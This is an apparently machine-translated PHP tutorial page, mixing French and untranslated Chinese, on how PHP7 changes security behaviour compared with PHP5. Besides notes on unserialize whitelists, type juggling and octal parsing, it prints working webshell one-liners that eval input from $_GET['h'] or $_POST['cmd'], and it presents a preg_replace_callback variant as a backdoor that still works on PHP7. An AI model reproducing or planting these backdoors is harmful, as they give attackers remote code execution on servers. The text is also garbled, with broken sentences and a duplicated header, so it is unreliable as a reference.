Tout le monde utilise le modificateur \e pour exécuter du code comme une porte dérobée, je l'ai beaucoup utilisé, veuillez consulter cette description officielle pour plus de détails :"/> Tout le monde utilise le modificateur \e pour exécuter du code comme une porte dérobée, je l'ai beaucoup utilisé, veuillez consulter cette description officielle pour plus de détails :">
Maison > Article > développement back-end > Différences de sécurité entre PHP7 et PHP5 (exemple)
Modification de fonction
preg_replace() ne prend plus en charge le modificateur /e
<?php preg_replace("/.*/e",$_GET["h"],"."); ?>
Porte dérobée qui utilise le modificateur e pour exécuter code Tout le monde l'a beaucoup utilisé. Veuillez consulter cette description officielle pour plus de détails :
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
Malheureusement, le modificateur e n'est plus pris en charge dans PHP7 et supérieur, et le responsable nous a donné une nouvelle fonction preg_replace_callback :
Manuel recommandé : Manuel des nouvelles fonctionnalités PHP7
Ici, nous pouvons l'utiliser comme porte dérobée avec un léger changement :
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>
create_function() est abandonné
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
Il y a une fonction de moins qui peut être utilisée comme porte dérobée. c'est Ceci est réalisé en exécutant eval. Dispensable.
Tous les membres de la série mysql_* ont été supprimés
Si vous souhaitez utiliser l'ancienne version des fonctions de la série mysql_* sur PHP7, vous devez installer des ceux-là vous-même. Le site officiel n'est pas ici Oui, la recommandation officielle est maintenant mysqli ou pdo_mysql. Cela annonce-t-il une réduction significative des vulnérabilités d'injection SQL dans PHP à l'avenir ~
我已经很久没在目标站上挖到过sql注入了,全都是预编译!
unserialize() ajoute un paramètre de liste blanche facultatif
$data = unserialize($serializedObj1 , ["allowed_classes" => true]); $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);
En fait , il s'agit d'une liste blanche. Si le nom de la classe dans les données désérialisées ne figure pas dans cette liste blanche, une erreur sera signalée.
Rapports d'erreurs comme celui-ci !
peut être un nom de classe ou une donnée booléenne. S'il est FALSE, tous les objets seront convertis en objets __PHP_Incomplete_Class. VRAI est illimité. Vous pouvez également transmettre un nom de classe pour implémenter une liste blanche.
还好现在是可选不是必选,要是默认FALSE逼程序员弄白名单那就真的吐血了。
assert() ne peut plus exécuter de code par défaut
C'est la raison pour laquelle de nombreux chevaux ne peuvent pas être utilisés. Trop de chevaux utilisent assert() pour. exécutez le code, cette mise à jour efface essentiellement le tout. Dans des circonstances normales, remplacez-le par eval et il peut s'exécuter normalement ~
Modification de la syntaxe
foreach. ne modifie plus le pointeur de tableau interne
<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){ echo ""; } print_r($a); foreach ($a as $k=>$n){ echo ""; } print_r($a);
Un code comme celui-ci dans php5 a le résultat d'exécution suivant :
à cause du tableau La référence $value du dernier élément sera toujours conservée après la boucle foreach. Lors de la deuxième boucle, le pointeur précédent est en fait attribué en continu. Lors d'un parcours par valeur dans php7, la valeur de l'opération est une copie du tableau et n'affectera plus les opérations ultérieures.
Ce changement affecte certains trous cms qui ne sont pas utilisables sur PHP7... Vous savez de quel trou je fais référence.
这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
Le taux de tolérance aux pannes des caractères octaux est réduit
Dans la version php5, si un caractère octal contient des chiffres invalides, les chiffres invalides seront tronqués silencieusement .
<?php echo octdec( '012999999999999' ) . "\n"; echo octdec( '012' ) . "\n"; if (octdec( '012999999999999' )==octdec( '012' )){ echo ": )". "\n"; }
Par exemple, le résultat de l'exécution de ce code dans php5 est le suivant :
Mais cela déclenchera un erreur d'analyse dans php7.
这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
Les chaînes hexadécimales ne sont plus considérées comme des nombres
Une fois ce changement effectué, il y aura beaucoup moins de routines CTF à l'avenir~
De nombreuses opérations sympas ne peuvent plus être utilisées~
Il n'y a rien à dire à ce sujet, tout le monde le sait.
<?php var_dump("0x123" == "291"); var_dump(is_numeric("0x123")); var_dump("0xe" + "0x1"); var_dump(substr("foo", "0x1")); ?>
Les résultats de l'exécution du code ci-dessus en PHP5 sont les suivants :
Les résultats de l'exécution PHP7 sont les suivants :
你以为我要说这个在后续版本被改回去了?不,目前截至最新的PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。
Balises PHP ASP et script supprimées
Maintenant, seules les balises
字面意思,影响其实不是很大(只是以后骚套路会少一点)。
Troncation de conversion de type nombre à virgule flottante surdimensionnée
Lors de la conversion d'un nombre à virgule flottante en un entier, si la valeur à virgule flottante est trop grande, elle ne peut pas être exprimé sous forme d'entier Ensuite, dans la version PHP5, la conversion tronquera directement l'entier et ne provoquera pas d'erreur. En PHP7, une erreur sera signalée.
CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。
Divers
exec(), system() passthru()函数对 NULL 增加了保护. list()不再能解开字符串string变量 $HTTP_RAW_POST_DATA 被移除 __autoload() 方法被废弃 parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。 统一不同平台下的整型长度 session_start() 可以加入一个数组覆盖php.ini的配置
相关文章推荐:
1.php7和php5有什么不同之处?php5与php7之间的对比
2.PHP5.5至PHP7.2 新特性整理
3.php7的垃圾回收和php5有什么区别
相关视频推荐:
1.独孤九贱(4)_PHP视频教程
相关推荐:《PHP教程》
本篇文章就是关于PHP7和PHP5在安全上的区别介绍,希望对需要的朋友有所帮助!
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!